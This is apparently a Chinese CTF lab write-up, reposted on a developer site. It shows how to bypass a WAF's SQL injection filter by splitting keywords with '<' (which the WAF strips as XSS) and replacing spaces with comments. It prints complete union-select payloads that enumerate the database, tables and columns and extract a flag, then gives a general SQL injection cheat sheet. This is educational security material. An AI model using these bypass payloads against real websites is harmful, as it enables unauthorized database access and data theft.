概述
一、SQL注入
1.1打开【192.168.1.3/3/】根据页面提示,要测试SQL注入和跨站两个漏洞。首先测试注入:输入 SQL%’ and 1=1 and ‘%’='。如图1所示
图1
1.2提示发现SQL注入攻击。如图2所示
图2
1.3继续测试分别输入select union and or以及空格等关键字都被WAF检测。如图3所示
图3
1.4接着测试xss:输入,提示“这题真不是xss!您搜索的字符串为:alert(/xss/)/”,猜测WAF进行了过滤,过滤了script、<、>等xss关键字。但发现有提示“这题真不是xss!”。如图4所示
图4
1.5可以利用xss的关键字过滤对注入进行绕过,测试SQ<L,发现正常搜索了SQL关键字的结果,测试selec<t,依然被过滤,继续加入<隔断单词。还原了sql注入关键字select,WAF并未检测告警。空格检测可以用/**/绕过。如图5所示
图5
1.6继续检查注入使用的所有单词,找到使用<绕过的方法。找到table,column,schema,information,database,双引号等单词和符号被过滤,使用<隔断单词实现注入。继续检测:SQL%’//an<d//1=1//an<d//‘%’=’,成功绕过WAF。如图6所示
图6
1.7测试字段SQL%'//o<rder//by/**/3#,字段数为3。如图7所示
图7
1.8查询数据库名SQL%'//u<n<ion//s<el<ect/**/1,databas<e(),3#,数据库名为sqli。如图8所示
图8
1.9查询表名SQL%'//u<n<ion//s<el<ect//1,group_concat(ta<ble_name),3//from//info<rmation_sch<ema.tab<les//where/**/tab<le_sche<ma=databas<e()#,表名为flag。如图9所示
图9
1.10查询字段名SQL%'//u<n<ion//s<el<ect//1,group_concat(col<umn_name),3//from//info<rmation_sch<ema.col<umns//where/**/tab<le_name=‘fla<g’#,字段名为flag。如图10所示
图10
1.11查询字段中的内容SQL%'//u<n<ion//s<el<ect//1,fl<ag,3//from/**/fl<ag#,获取flag。如图11所示
图11
总结注入原理如下:
1)Select 字段(column)from 表(table)where id=213 limit 0,1)
一、sql注入(正常回显)的步骤
1.检查注入点——使用’
报错——'引入了查询语句
正常——没有注入点
And 1=1(真逻辑)——返回正常
And 1=2(假逻辑)——返回错误(数字型)
And ‘1’='1• And ‘1’='2(字符型)
2.查询列数
Order by N
返回正确(有第N列)
返回错误(没有N列)
3.查询回显位置
-1 union select 1,2,3,4,5(有5列)
查看页面显示那个数字
4.在有回显的位置插入查询语句
-1 union select 1,username,3,4,5 from user(数字2在页面显示)
获取数据库信息(version(),user(),database());
获取表名-1’union select table_name from information_schama.tables where table_schema=database() limit0,1#
获取字段名-1’union select column_name from information_schema.columns where table_name=‘test_admin’ limit 0,1#
查询数据-1’union select 字段名 from 表名 limit 0,1#
最后
以上就是失眠翅膀为你收集整理的web安全SQL注入绕过的全部内容,希望文章能够帮你解决web安全SQL注入绕过所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复